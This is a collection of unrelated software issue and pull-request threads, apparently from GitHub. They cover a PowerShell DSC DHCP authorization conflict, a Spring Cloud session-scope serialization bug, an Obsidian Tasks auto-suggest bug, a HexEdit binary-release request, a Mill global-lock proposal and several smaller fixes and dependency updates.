When trying to authorize multiple DHCP Servers I get an error which can be summarised as "Resources have identical key properties but there are differences in the following non-key properties: 'IPAddress;DnsName'."
Please provide information regarding your issue under each header below.
Write N/A under any headers that do not apply to your issue, or if the
information is not available.

Details of the scenario you tried and the problem that is occurring
Authorizing one server is fine. but multiple DHCP Servers with different DNS names and IP's throws the error below.
Names and IP's changed.
Verbose logs showing the problem
Test-ConflictingResources : A conflict was detected between resources '[xDhcpServerAuthorization]DHCP_Server_Authorisation_AK
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::250::9::xDhcpServerAuthorization)' and '[xDhcpServerAuthorization]DHCP_Server_Authorisation_FT
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::257::9::xDhcpServerAuthorization)' in node 'DC1-LA'. Resources have identical key properties but there are differences
in the following non-key properties: 'IPAddress;DnsName'. Values '<IP_ADDRESS>;DHCP01-AK.Domain.local' don't match values '<IP_ADDRESS>;DHCP01-FT.Domain.local'. Please update
these property values so that they are identical in both cases.
At line:289 char:9

    Test-ConflictingResources $keywordName $canonicalizedValue $k ...

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (:) [Write-Error], InvalidOperationException
FullyQualifiedErrorId : ConflictingDuplicateResource,Test-ConflictingResources
Test-ConflictingResources : A conflict was detected between resources '[xDhcpServerAuthorization]DHCP_Server_Authorisation_AK
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::250::9::xDhcpServerAuthorization)' and '[xDhcpServerAuthorization]DHCP_Server_Authorisation_HF
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::264::9::xDhcpServerAuthorization)' in node 'DC1-LA'. Resources have identical key properties but there are differences
in the following non-key properties: 'IPAddress;DnsName'. Values '<IP_ADDRESS>;DHCP01-AK.Domain.local' don't match values '<IP_ADDRESS>;DHCP01-HF.Domain.local'. Please update
these property values so that they are identical in both cases.
At line:289 char:9

    Test-ConflictingResources $keywordName $canonicalizedValue $k ...

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (:) [Write-Error], InvalidOperationException
FullyQualifiedErrorId : ConflictingDuplicateResource,Test-ConflictingResources
Test-ConflictingResources : A conflict was detected between resources '[xDhcpServerAuthorization]DHCP_Server_Authorisation_FT
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::257::9::xDhcpServerAuthorization)' and '[xDhcpServerAuthorization]DHCP_Server_Authorisation_HF
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::264::9::xDhcpServerAuthorization)' in node 'DC1-LA'. Resources have identical key properties but there are differences
in the following non-key properties: 'IPAddress;DnsName'. Values '<IP_ADDRESS>;DHCP01-FT.Domain.local' don't match values '<IP_ADDRESS>;DHCP01-HF.Domain.local'. Please update
these property values so that they are identical in both cases.
At line:289 char:9

    Test-ConflictingResources $keywordName $canonicalizedValue $k ...

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (:) [Write-Error], InvalidOperationException
FullyQualifiedErrorId : ConflictingDuplicateResource,Test-ConflictingResources
Test-ConflictingResources : A conflict was detected between resources '[xDhcpServerAuthorization]DHCP_Server_Authorisation_AK
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::250::9::xDhcpServerAuthorization)' and '[xDhcpServerAuthorization]DHCP_Server_Authorisation_MA
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::271::9::xDhcpServerAuthorization)' in node 'DC1-LA'. Resources have identical key properties but there are differences
in the following non-key properties: 'IPAddress;DnsName'. Values '<IP_ADDRESS>;DHCP01-AK.Domain.local' don't match values '<IP_ADDRESS>;DHCP01-MA.Domain.local'. Please update
these property values so that they are identical in both cases.
At line:289 char:9

    Test-ConflictingResources $keywordName $canonicalizedValue $k ...

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (:) [Write-Error], InvalidOperationException
FullyQualifiedErrorId : ConflictingDuplicateResource,Test-ConflictingResources
Test-ConflictingResources : A conflict was detected between resources '[xDhcpServerAuthorization]DHCP_Server_Authorisation_FT
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::257::9::xDhcpServerAuthorization)' and '[xDhcpServerAuthorization]DHCP_Server_Authorisation_MA
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::271::9::xDhcpServerAuthorization)' in node 'DC1-LA'. Resources have identical key properties but there are differences
in the following non-key properties: 'IPAddress;DnsName'. Values '<IP_ADDRESS>;DHCP01-FT.Domain.local' don't match values '<IP_ADDRESS>;DHCP01-MA.Domain.local'. Please update
these property values so that they are identical in both cases.
At line:289 char:9

    Test-ConflictingResources $keywordName $canonicalizedValue $k ...

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (:) [Write-Error], InvalidOperationException
FullyQualifiedErrorId : ConflictingDuplicateResource,Test-ConflictingResources
Test-ConflictingResources : A conflict was detected between resources '[xDhcpServerAuthorization]DHCP_Server_Authorisation_HF
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::264::9::xDhcpServerAuthorization)' and '[xDhcpServerAuthorization]DHCP_Server_Authorisation_MA
(xxx\DSC\DC1-LA\DC1-LA_Configuration.ps1::271::9::xDhcpServerAuthorization)' in node 'DC1-LA'. Resources have identical key properties but there are differences
in the following non-key properties: 'IPAddress;DnsName'. Values '<IP_ADDRESS>;DHCP01-HF.Domain.local' don't match values '<IP_ADDRESS>;DHCP01-MA.Domain.local'. Please update
these property values so that they are identical in both cases.
At line:289 char:9

    Test-ConflictingResources $keywordName $canonicalizedValue $k ...

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (:) [Write-Error], InvalidOperationException
FullyQualifiedErrorId : ConflictingDuplicateResource,Test-ConflictingResources
WARNING: It is not recommended to use domain credential for node 'DC1-LA'. In order to suppress the warning, you can add a property named 'PSDscAllowDomainUser' with a value of $true t
o your DSC configuration data for node 'DC1-LA'.
Compilation errors occurred while processing configuration 'DC1-LA_Configuration'. Please review the errors reported in error stream and modify your configuration code appropriately.
At C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSDesiredStateConfiguration\PSDesiredStateConfiguration.psm1:3917 char:5

throw $ErrorRecord

~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (DC1-LA_Configuration:String) [], InvalidOperationException
FullyQualifiedErrorId : FailToProcessConfiguration

Suggested solution to the issue
The validation of the IP and DNS name is not correct as the data for each is different for each DHCP Server.
The DSC configuration that is used to reproduce the issue (as detailed as possible)
# insert configuration here
DC1-LA_Configuration.ps1:
$Data = $ConfigurationData.DHCP_Server_Authorisation_AK
        xDhcpServerAuthorization DHCP_Server_Authorisation_AK {
            Ensure    = $Data.Ensure
            DnsName   = $Data.DnsName
            IPAddress = $Data.IPAddress
        }

        $Data = $ConfigurationData.DHCP_Server_Authorisation_FT
        xDhcpServerAuthorization DHCP_Server_Authorisation_FT {
            Ensure    = $Data.Ensure
            DnsName   = $Data.DnsName
            IPAddress = $Data.IPAddress
        }

        $Data = $ConfigurationData.DHCP_Server_Authorisation_HF
        xDhcpServerAuthorization DHCP_Server_Authorisation_HF {
            Ensure    = $Data.Ensure
            DnsName   = $Data.DnsName
            IPAddress = $Data.IPAddress
        }

        $Data = $ConfigurationData.DHCP_Server_Authorisation_MA
        xDhcpServerAuthorization DHCP_Server_Authorisation_MA {
            Ensure    = $Data.Ensure
            DnsName   = $Data.DnsName
            IPAddress = $Data.IPAddress
        }

DC1-LA_CONFIG_DATA.psd1:
DHCP_Server_Authorisation_AK = @{
        Ensure    = 'Present'                 # 'Absent','Present'
        DnsName   = 'DHCP01-AK.Domain.local'  # FQDN of the server to authorize. If not specified, it defaults to the local hostname of the enacting node.
        IPAddress = '<IP_ADDRESS>'                 # IP v4 address of the server to authorized. If not specified, it default to the first IPv4 address of the enacting node.
    }                                         # This resource must run on an Active Directory domain controller.

    DHCP_Server_Authorisation_FT = @{
        Ensure    = 'Present'                 # 'Absent','Present'
        DnsName   = 'DHCP01-FT.Domain.local'  # FQDN of the server to authorize. If not specified, it defaults to the local hostname of the enacting node.
        IPAddress = '<IP_ADDRESS>'                 # IP v4 address of the server to authorized. If not specified, it default to the first IPv4 address of the enacting node.
    }                                         # This resource must run on an Active Directory domain controller.

	DHCP_Server_Authorisation_HF = @{
        Ensure    = 'Present'                 # 'Absent','Present'
        DnsName   = 'DHCP01-HF.Domain.local'  # FQDN of the server to authorize. If not specified, it defaults to the local hostname of the enacting node.
        IPAddress = '<IP_ADDRESS>'                 # IP v4 address of the server to authorized. If not specified, it default to the first IPv4 address of the enacting node.
    }                                         # This resource must run on an Active Directory domain controller.

	DHCP_Server_Authorisation_MA = @{
        Ensure    = 'Present'                 # 'Absent','Present'
        DnsName   = 'DHCP01-MA.domain.local'  # FQDN of the server to authorize. If not specified, it defaults to the local hostname of the enacting node.
        IPAddress = <IP_ADDRESS>'                  # IP v4 address of the server to authorized. If not specified, it default to the first IPv4 address of the enacting node.
    }                                         # This resource must run on an Active Directory domain controller.

The operating system the target node is running

Version and build of PowerShell the target node is running

Version of the DSC module that was used
<IP_ADDRESS>

My fault sorry!!! I found that it was in a section that applied to multiple nodes


led run taking 40+ minutes to clone flutter/engine

https://ci.chromium.org/raw/build/logs.chromium.org/flutter/led/zra_google.com/b6b1460576bc747788bf4ccc9463dc275ef6d25cb8dd6fd05e7a39fec64ff473/+/build.proto?server=chromium-swarm.appspot.com

Looks like we are getting single-digit KiB/s download bandwidth from flutter.googlesource.com. Marking P2 in case this is affecting prod.

Ugh. The job was cancelled just after it had finally started making progress =(

This was likely a transient network issue, so it might not be actionable, but it would be nice to be able to report these sorts of issues to the team that maintains the googlesource mirror in case they are able to debug.

Yess tank

Closing per @yusuf-goog, we believe this was a one-off event.


pass user to afterLogin event

Coverage decreased (-0.1%) to 42.841% when pulling 94dfc35189a6d6141a304af1eb882188565ade68 on ayman-alkom:patch-3 into 42791e00c80d9f12f6afcc9bc892ec654f626b81 on burzum:develop.

Thank you!


When calling remove_avatar! I get delete for nil:nil class method error not found.

#<Hurley::Response GET https://www.googleapis.com/storage/v1/b/my-testing-documents/o/filestore%2Freport%2FCuRv9xloZS8kiUbVW_ibLw. == 404 (165 bytes) 122ms>
Caught error notFound: Not Found
Error - #<Google::Apis::ClientError: notFound: Not Found>

   (0.4ms)  ROLLBACK
NoMethodError: undefined method `delete' for nil:NilClass
from /home/raman/.rvm/gems/ruby-2.3.1/gems/carrierwave-google-storage-0.7.0/lib/carrierwave/storage/gcloud_file.rb:46:in `delete'

The file was successfully deleted from the google cloud bucket but this error is thrown.
Ruby version: 2.3.1
Rails version 5.1.5
Thanks for working on this gem, I prefer the use of service accounts to access my cloud storage bucket.

I am still getting this error when trying to delete a file. The file gets deleted from the GC but am getting this error.
Versions:
Ruby - 2.4.0
Rails - 4.2.8
Carrierwave-google-storage - 0.8.0

@arparthasarathi I've reopened the issue - Can you try the recently released 0.9.0 version? The 0.9.0 tags are not pushed to github yet, but the gem has been pushed to rubygems.org already.
please try it out and let me know and I'll investigate further.

The functionality works perfectly after the update. Thanks a lot for that buddy!


Allowing updates to fcr:metadata

Allows updates to [subject]/fcr:metadata
Improving IT to add a property

Fixes https://jira.duraspace.org/browse/FCREPO-1753

Nice! Thanks Esme.

Resolved with: https://github.com/fcrepo4/fcrepo4/commit/84c12daf10dec933e83c4fd331553dd22f628401


spring.cloud.refresh.enabled will cause multi-node scope session/request exception

I used scopesession and scoperequest, and now I have problems with springcloudcontext.

spring boot 2.1.8.RELEASE
spring cloud Greenwich.SR2
spring-cloud-context 2.1.2.RELEASE （Spring cloud Greenwich.SR2 comes with）

pom.xml
		<!-- web -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-web</artifactId>
		</dependency>
		<!-- redis -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-data-redis</artifactId>
		</dependency>
		<!-- distribut session -->
		<dependency>
			<groupId>org.springframework.session</groupId>
			<artifactId>spring-session-data-redis</artifactId>
		</dependency>

		<!-- error jar -->
		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-starter</artifactId>
		</dependency>

TestRequest
public interface TestRequest {
	String getCode();
}

DefaultTestRequest
public class DefaultTestRequest implements TestRequest, Serializable {
	private static final long serialVersionUID =<PHONE_NUMBER>14496379L;
	private final MultiValueMap<String, String> parameters = new LinkedMultiValueMap<String, String>();
	private String currentUri;

	public DefaultTestRequest() {
	}

	public DefaultTestRequest(Map<String, String[]> parameters) {
		if (parameters != null) {
			for (Entry<String, String[]> entry : parameters.entrySet()) {
				this.parameters.put(entry.getKey(), Arrays.asList(entry.getValue()));
			}
		}
	}

	@Override
	public String getCode() {
		return getFirst("code");
	}

	public String getFirst(String key) {
		return parameters.getFirst(key);
	}

TestContext
public interface TestContext {
	TestRequest getTestRequest();
}

DefaultTestContext
public class DefaultTestContext implements TestContext, Serializable {
	private static final long serialVersionUID = -6703632468271794160L;
	private TestRequest testRequest;

	public DefaultTestContext() {
		this(new DefaultTestRequest());
	}
	public DefaultTestContext(TestRequest testRequest) {
		this.testRequest = testRequest;
	}

	@Override
	public TestRequest getTestRequest() {
		return testRequest;
	}
}

TestConfiguration
@Configuration
public class TestConfiguration {

	@Bean
	@Scope(value = "request", proxyMode = ScopedProxyMode.INTERFACES)
	protected TestRequest testRequest(@Value("#{request.parameterMap}") Map<String, String[]> parameters,
			@Value("#{request.getAttribute('currentUri')}") String currentUri) {
		DefaultTestRequest request = new DefaultTestRequest(parameters);
		request.setCurrentUri(currentUri);
		return request;
	}

	@Configuration
	protected static class TestContextConfiguration {

		@Resource
		@Qualifier("testRequest")
		private TestRequest testRequest;

		@Bean
		@Scope(value = "session", proxyMode = ScopedProxyMode.INTERFACES)
		public TestContext testContext() {
			return new DefaultTestContext(testRequest);
		}

	}

}

TestController
@RestController
public class TestController {
	private static final Logger log = LoggerFactory.getLogger(TestController.class);

	@Autowired
//	private OAuth2ClientContext oauth2ClientContext;
	private TestContext testContext;

	@GetMapping("/public/test")
	public String testSession() {
		log.error("hi");
//		AccessTokenRequest request = oauth2ClientContext.getAccessTokenRequest();
//		return request.getAuthorizationCode();
		TestRequest testRequest = testContext.getTestRequest();
		return testRequest.getCode();
	}

}

bootstrap.yml
spring:
  application:
    name: test-session
#  main:
#    allow-bean-definition-overriding: true
#  cloud:
#    refresh:
#   set false
#      enabled: false

application.yml
server:
  port: 8080
  servlet:
    context-path: /

spring:
#redis
  redis:
    host: <IP_ADDRESS>
    port: 6379
#session
  session:
    store-type: redis
    timeout: 1800 #default 1800
    redis:
      namespace: ${spring.application.name}

Start multiple nodes (at least 2).
nginx.conf
upstream testsession{
        server <IP_ADDRESS>:8080;
        server <IP_ADDRESS>:8081;
}
    server {
        listen       80;
        server_name  localhost;

        location /public {
            proxy_pass http://testsession;
        }
}

Browser access http://<IP_ADDRESS>/public/test?code=123456
1st return success：123456
2nd return failed: "No bean named 'scopedTarget.testRequest' available"
3rd return success：123456
4th return failed: "No bean named 'scopedTarget.testRequest' available"
5th return success：123456
clear browser session.
6th return success：123456
7th return failed: "No bean named 'scopedTarget.testRequest' available"
8th return success：123456
9th return failed: "No bean named 'scopedTarget.testRequest' available"
If you set spring.cloud.refresh.enabled=false, there is no problem with all requests.
Why？
If I disable RefreshScope, will spring cloud config still work?
I don't know if this is a bug.
@EnableOAuth2Sso is used like this. Now that it has a problem, I wrote a demo project to test the session.
The attachment is a test project.
TestSession.zip

What happens when you spring.cloud.refresh.enabled=false?

Why do you have Spring Cloud Starter on the classpath?  You are not using anything from Spring Cloud as far as I can tell.

What happens when you spring.cloud.refresh.enabled=false?

Set to false program multi-node will not report an error, my question is to use spring cloud should be set to false?

Why do you have Spring Cloud Starter on the classpath? You are not using anything from Spring Cloud as far as I can tell.

In the beginning I used spring-cloud-starter-netflix-zuul and spring-cloud-starter-oauth2 and used @EnableOAuth2Sso. There was an error, I need to check this error, and finally positioned here, I don't know why I added this jar will be wrong under multiple nodes.

Since Greenwich and boot 2.1.x are no longer supported can you try again with Hoxton.SR2 and Boot 2.2.5?

If you would like us to look at this issue, please provide the requested information. If the information is not provided within the next 7 days this issue will be closed.

Closing due to lack of requested feedback. If you would like us to look at this issue, please provide the requested information and we will re-open the issue.

由于不再支持格林威治和引导2.1.x，您可以使用Hoxton.SR2和引导2.2.5再试一次吗？

依然存在问题！

@spencergibb Problems can be reproduced

Can you provide a sample as a zip file or GitHub repo that reproduces the problem?

If you would like us to look at this issue, please provide the requested information. If the information is not provided within the next 7 days this issue will be closed.

https://github.com/haydonchou/TestSession

@hieastz This is not a issue for Spring cloud or spring itself.

Inject RequestScope bean into SessionScope bean is anti-pattern.
SessionScope is designed to share objects(serialized) cross process/machine while RequestScope is designed for share in seperate requests

The root cause is that you inject a RequestScope bean (with is actual a proxy targeting a real bean in BeanFactory's RequestScope) into session as an attribute then it is serialized into external storage, and then recover (deserialize) it from external storage by session manager. JDK's serialization can not recover the RequestScope-d bean correctly, since the scope-d bean is a proxy bean with some un-serializable members like BeanFactory.

@hieastz Spring Cloud Refresh is not the root cause of this issue.
The root cause is a mis-usage of scoped bean

Inject RequestScope bean into SessionScope bean is anti-pattern.
SessionScope is designed to share objects(serialized) cross process/machine while RequestScope is designed for share in seperate requests
The root cause is that you inject a RequestScope bean (with is actual a proxy targeting a real bean in BeanFactory's RequestScope, and hold a reference to the BeanFactory) into session as an attribute then it is serialized into external storage, and then recover (deserialize) it from external storage by session manager. JDK's serialization can not recover the RequestScope-d bean correctly, since the scope-d bean is a proxy bean with some 'un-serializable' members like BeanFactory.

BeanFactory is serialzized with a replacement DefaultListableBeanFactory#writeReplace , which only hold the DefaultListableBeanFactory#serializationId. when deserialize, it will lookup the BeanFactory with same DefaultListableBeanFactory#serializationId.
serialize:
https://github.com/spring-projects/spring-framework/blob/7758ba3c7e4f21435ed927417eb3a13c37af5551/spring-beans/src/main/java/org/springframework/beans/factory/support/DefaultListableBeanFactory.java#L1859-L1866
deserialize:
https://github.com/spring-projects/spring-framework/blob/7758ba3c7e4f21435ed927417eb3a13c37af5551/spring-beans/src/main/java/org/springframework/beans/factory/support/DefaultListableBeanFactory.java#L1881-L1893
So if there is a same serializationId across instances, it will work fine (But you should not rely on this, it is weak and easily broken). And the serializationId is generated by UUID.nameUUIDFromBytes(names.getBytes()).toString()
https://github.com/spring-cloud/spring-cloud-commons/blob/7beca68a394d6334a0394c2312a6b563b42eafe9/spring-cloud-context/src/main/java/org/springframework/cloud/context/scope/GenericScope.java#L285-L296
Actually, if you run both instance/process with same configuration, it will works fine even the RefreshScope enabled, while the bean names in BeanFactory is same.

Both instance are started with java -jar with same configuration (except the server port), works fine.
Both instance are started with IDE with same configuration (except the server port), works fine.

Problems occurs only it you have difference startup configuration.

One from packed jar
One from IDE

@ian4hu Thank you very much for your answer.
https://github.com/haydonchou/TestSession ，this is my test project.
I use the same server and still have problems.
I discovered this phenomenon using zuul+spring-cloud-starter-oauth2 and @EnableOAuth2Sso
spring-cloud-starter-oauth2 is used like this, i reproduced it in simulation.
Please check this class：
https://github.com/spring-projects/spring-security-oauth/blob/master/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/config/annotation/web/configuration/OAuth2ClientConfiguration.java#L36-L70

@ian4hu Yes. Spring Security OAuth has been deprecated, wait until there is time to switch to Spring Security to implement SSO with Spring Cloud Gateway and try again


Remove rest.Bitcoin.com

Remove rest.Bitcoin.com (and trest.bitcoin.com) from default BitcoinDotComAPI endpoints, as it has been defunct for a long time.

Implementation with tests looks good! Not sure about unittest and pytest together. If you want to keep it this way, its fine too.

Merging this, but feel free to comment if you see anything out of place 😃


Auto-Suggest Remains open after Selection [with Obsidian Insider release 1.7.0]

Please check that this issue hasn't been reported before.

[X] I searched previous Bug Reports didn't find any similar reports.

Expected Behavior
When Auto-Suggest dialog is open and focuses the correct item, it should close after pressing enter to select the suggestion.
Current behaviour
After pressing enter on the desired auto-suggest item, the auto-suggest box should close and free keyboard focus.

Steps to reproduce

Launch Obsidian Sandbox Vault
Enable Community Plugins
Install Tasks
Change "minimum match length for auto-suggest" to "1"
Restart Obsidian
In a new note, create a task with any title, type "du" and press enter to insert due date emoji from auto-suggest. Notice that the autosuggest box remains active.

Which Operating Systems are you using?

[ ] Android
[ ] iPhone/iPad
[ ] Linux
[X] macOS
[ ] Windows

Obsidian Version
1.7.0
Tasks Plugin Version
7.9.0
Checks

[X] I have tried it with all other plugins disabled and the error still occurs

Possible solution
No response

Hi @BTCarpenter,
Thanks for logging this, and yes, I agree it's really annoying.
It is caused by a bug in the Obsidian 1.7.0 insider build.
I reported it to the Obsidian team on 9th August in the #insider-desktop-release Discord channel:
https://discord.com/channels/686053708261228577/716028884885307432/1271397171492552727
After some discussion, I gave them this repro vault:
cursor content menu.zip
Liam then said:

okay, I can repro. Investigating

Followed by:

Okay, I think I have a fix for this on our side of things. Thanks for the help debugging!

So there's nothing I can do in Tasks, we will just have to wait until the next Obsidian release.
I've labelled this with 'it's in Obsidian issue', but it helps to have it visible in the Issues list until they fix it, so thank you again for reporting it!

This is confirmed fixed in the Obsidian 1.7.1 Catalyst release:
https://obsidian.md/changelog/2024-08-27-desktop-v1.7.1/

fixed a bug causing some editor suggestions from plugins to not update.


:construction_worker: Fix issues found by go-critic linter

golyrics.go:98:1: paramTypeCombine: func(artist string, name string) ([]Track, error) could be replaced with func(artist, name string) ([]Track, error)
golyrics.go:81:19: unslice: could simplify value[:] to value
golyrics.go:47:14: regexpMust: for const patterns like "<[^>]+>", use regexp.MustCompile

Seems like lyrics have changed:
- ... And then it's done!
+ . . . and then it's done!

@Quasilyte Thanks for the late review! 🤦🏻♂


Filtering ACF options page by language

Hi,
Current Problem
I'm using ACF and Polylang to handle my options pages. I've managed to get the GraphQL query work in WP, to get the options by language, using a filter:
query GET_HEADER_AND_FOOTER {
  themeSettings(language: EN) {
    acfHeaderAndFooter {
      cookiesLinkLabel
      copyright
      websiteCreator
    }
  }
}

but the schema in Gatsby is different, and I cannot filter by language or get a list of all the nodes for each language. I can only write this query, which will return only the default language node:
query GET_HEADER_AND_FOOTER {
  allWp {
    nodes {
      themeSettings {
        acfHeaderAndFooter {
          copyright
          websiteCreator
          cookiesLinkLabel
        }
      }
    }
  }
}

Possible solution
It would be great to be able to do something along the lines of
query GET_HEADER_AND_FOOTER {
  allWp {
    nodes {
      themeSettings(filter: { language: { eq: "EN" } } {
        acfHeaderAndFooter {
          copyright
          websiteCreator
          cookiesLinkLabel
        }
      }
    }
  }
}

or having the query returns nodes for every language with a language field, so I can filter in my code.
It is not a blocking issue, as I can just give up using Options and create a custom type for handling these settings. But the UI would be easier to understand for a content editor.
Thank you for all the work on this plugin!
Regards,
Pierre

Hi @PSalaun thanks for the feature request!
I agree that this is needed. My thought originally was to add a type option which will cause fields to be fetched multiple times with each value in an enum.
So in this case it could be something like:
{
  options: {
    type: {
      ThemeSettings: {
        fetchWithEnum: `LANGUAGE`
      }
    }
  }
}

Due to the way caching works in Gatsby we would only be able to do this for a single input field, otherwise the number of required fetches would get out of hand really quickly.

Thank you for opening this issue. We recently moved this plugin over to the gatsbyjs monorepo and are trying to clean out this issue queue. We documented this feature to look at for a future roadmap item and are going to close this issue out. If you want to add additional visibility to this feature, you can request it at https://portal.gatsbyjs.com/


Update http4s-ember-server to 0.21.30

Updates org.http4s:http4s-ember-server from 0.21.14 to 0.21.30.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.http4s", artifactId = "http4s-ember-server" } ]

labels: library-update, semver-patch

Superseded by #53.


ParameterValues in QuerySqlGenerator

Can I get access to ParameterValues (if known, i.e. not compiled query) in QuerySqlGenerator as before in 2.2? I'm using this to specialize query in some cases to get better performance (and setting IsCacheable to false).

Likely not. Currently QuerySqlGenerator works without knowing about parameters. Ideally it should not need to know parameter values as it is just a printer. If by any reason, generated SQL is different based on parameter value then it should be transformed before calling into QuerySqlGenerator.

Yes, ideally it should not. For performance reasons it's sometimes nice to have it.
What place would be good place to intercept parameter expression (where parameters are possibly available) and transform it to other expression?

@cincuranet - I do not think it is nice to have for any reason. If printing SQL is dependent on parameter values then it is wrong design. SqlGen should print out SelectExpression as is. If something needs to change based on parameter values then it should be done before passing the SelectExpression to SqlGen. https://github.com/aspnet/EntityFrameworkCore/blob/master/src/EFCore.Relational/Query/Internal/ParameterValueBasedSelectExpressionOptimizer.cs does all the optimizations based on parameter values but notice that it does not print it out. We are looking to make it provider override-able in 5.0

I do not think it is nice to have for any reason. If printing SQL is dependent on parameter values then it is wrong design.

Yes, but there's a difference between real world a ideal cases. At the end of the day I either can claim that something is wrong with design on whatever level or have to work around it. Guess what the person facing the issue wants to hear. :)

ParameterValueBasedSelectExpressionOptimizer.cs

Let's hope for the best.


Add readonly option for storage devices

The virtio-blk, nvme, and usb-mass-storage devices can use now readonly option to create a read only device. This exposes the exiting StorageConfig.ReadOnly field.
Because this option is mostly useful to cdrom images, document the option only for usb-mass-storage.

Thanks for the PR!


Calendar view of deadlines

Reference to #131
It would be nice if Gogs supports calendar view of deadlines (for either commits or milestones), so that project manager can quickly know what and when features/fixes are available. Exportable .ics is also very helpful to incorporate the calendar into Apple and/or Google calendar to have an syndicated view of business needs and technical development.
It is believed that https://www.codebasehq.com/ supports this

ping

ping 27-12-2016

ping


Cleaned transcript for Austin video "Intro to Prob. Programming with PyMC"

Fixed #206

:books: Documentation preview en :books:: https://pymc-data-umbrella--233.org.readthedocs.build/en/233/

:books: Documentation preview es :books:: https://pymc-data-umbrella-es--233.org.readthedocs.build/es/233/

:books: Documentation preview pt :books:: https://pymc-data-umbrella-pt--233.org.readthedocs.build/pt/233/

@OriolAbril
Any idea why the doc preview isn't working? I get a 404 here:
https://pymc-data-umbrella--233.org.readthedocs.build/en/233/

@reshamas Is there anything I need to do, in order to make the build successful?

I thought the preview would be updated here, but it doesn't seem to.
Will merge this PR in and then see how the changes look once the docs have been built here:
https://pymc-data-umbrella.xyz/en/latest/about/probabilistic_programming_with_pymc/transcript.html


Genre

-add_item method in the Genre class
should take an instance of the Item class as an input
should add the input item to the collection of items
should add self as a property of the item object (by using the correct setter from the item object)
-can_be_archived?() in the MusicAlbum class
should override the method from the parent class
should return true if parent's method returns true AND if on_spotify equals true
otherwise, it should return false

The Issue is already resolved in another branch.


Add auth UI boilerplate

Motivation
Have some initial UI to start with when integrating the auth module into the example app. This is taken from https://github.com/feedhenry/mobile-security-android-template
Description
Moves views from the security template to this example app.
Progress

[x] Move views

@wei-lee @rachael-oregan @ziccardi @danielpassos Would you mind taking a look?


[proposal] Produce a binary package from the sources

I'd like to propose to produce a binary package based on latest sources of HexEdit sometimes. For example, when no refactoring is in progress, and the overall code looks good enough to be used as the base of the binary package.
By the "binary package" I mean a simple archive (such as .zip or .7z) that includes the latest HexEdit.exe, all its dependencies, configuration and help files. I.e. something than can be produced via a simple batch file after the sources have been built.
Why I'm asking this? Let me list some reasons why it would be absolutely great to have a ready-to-use binary package:

everyone will be able to use it (not just developers);
even as a developer, I currently can't build HexEdit from the sources at home because: 1. The source code's dependencies need to be sorted out first; 2. Visual Studio Express (the free edition of VS) does not contain MFC and this last reason excludes even physical ability to build HexEdit from the sources.

OK. I am about to create an official 5.0 release, but that won't be for a few weeks. I need to get the web site (www.hexedit.com) sorted first. But I can make the binaries available as a zip.
I have also tidied up the source and project quite a bit, including adding latest release of zlib. However, you still need crypto++, and mpir libs (which you can get the source for and build).  Also as you mention you also need a version of VS that has mfc. Currently I build with VS2010 but later versions should work too but you need to build libs to match.

I created a zip file  (HexEdit5build1349.zip) of the latest binary and all other files that may be needed to run HexEdit.  This is not the installer but you can just extract all the files and run HexEdit.exe.
You can download it from Box at:
https://app.box.com/s/hi1o1xv9h1vw7rj0a782d38ag01swo3p

Or dropbox at:
https://www.dropbox.com/s/32j685orv65b9uy/HexEdit5build1349.zip


Add a global lock around the out/ folder to allow a single mill command to run at a time

Follow up to https://github.com/com-lihaoyi/mill/issues/3397
Mill does not have a proper concurrency model, so running multiple mill commands in parallel can result in all sorts of crashes and misbehaviors. This is especially true because IDEs tend to run Mill on their own when trying to import the project.
Here are some issues I suspect are related:

https://github.com/com-lihaoyi/mill/issues/1711
https://github.com/com-lihaoyi/mill/issues/2484
https://github.com/com-lihaoyi/mill/issues/3273
https://github.com/com-lihaoyi/mill/issues/3454

https://github.com/com-lihaoyi/mill/pull/3243 was added to address parallel evaluations within the same process via BSP, but parallel evaluations across multiple processes remains a problem.
As a first pass, we should put all Mill evaluations between a global filesystem lock. This is the approach Bazel takes, and while not perfect, it works acceptably even for very large codebases and very large engineering organizations. We can add an optional --no-global-lock flag to disable this on an opt-in basis, but given the ongoing issues we need to go for correctness first by default, which means a global lock. The opt-out flag should be enough to handle edge cases where people really need the parallelism.
